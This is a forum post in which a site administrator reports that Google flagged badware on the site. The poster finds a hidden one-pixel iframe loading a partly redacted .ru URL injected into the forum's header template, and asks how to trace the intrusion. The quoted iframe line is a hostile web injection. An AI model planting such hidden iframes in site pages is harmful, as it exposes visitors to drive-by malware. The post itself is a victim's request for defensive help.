help with unauthorized entries on my forum - badware

[GTX2]

Need some help from you guyz....
Today when browsing my forum website i got a warning from google telling i had some badware code somewhere. After checking google webmaster tools, they said i had this code somewhere on my website:

<iframe width=1 height=1 frameborder=0 src=http://www.**-***.ru/vb/legacy/phra.php></iframe>

(removed some letters due security reasons)

After making a search on my templates, saw this code was entered in my header template !!!
Removed immediately but now would like to investigate how someone could have gain access to my templates and my board as i am the only admin accessing the boards. AdminCP logs says no access from third parties. Where can i check other unauthorized entries?


If posting in wrong section, please forward
Thank you !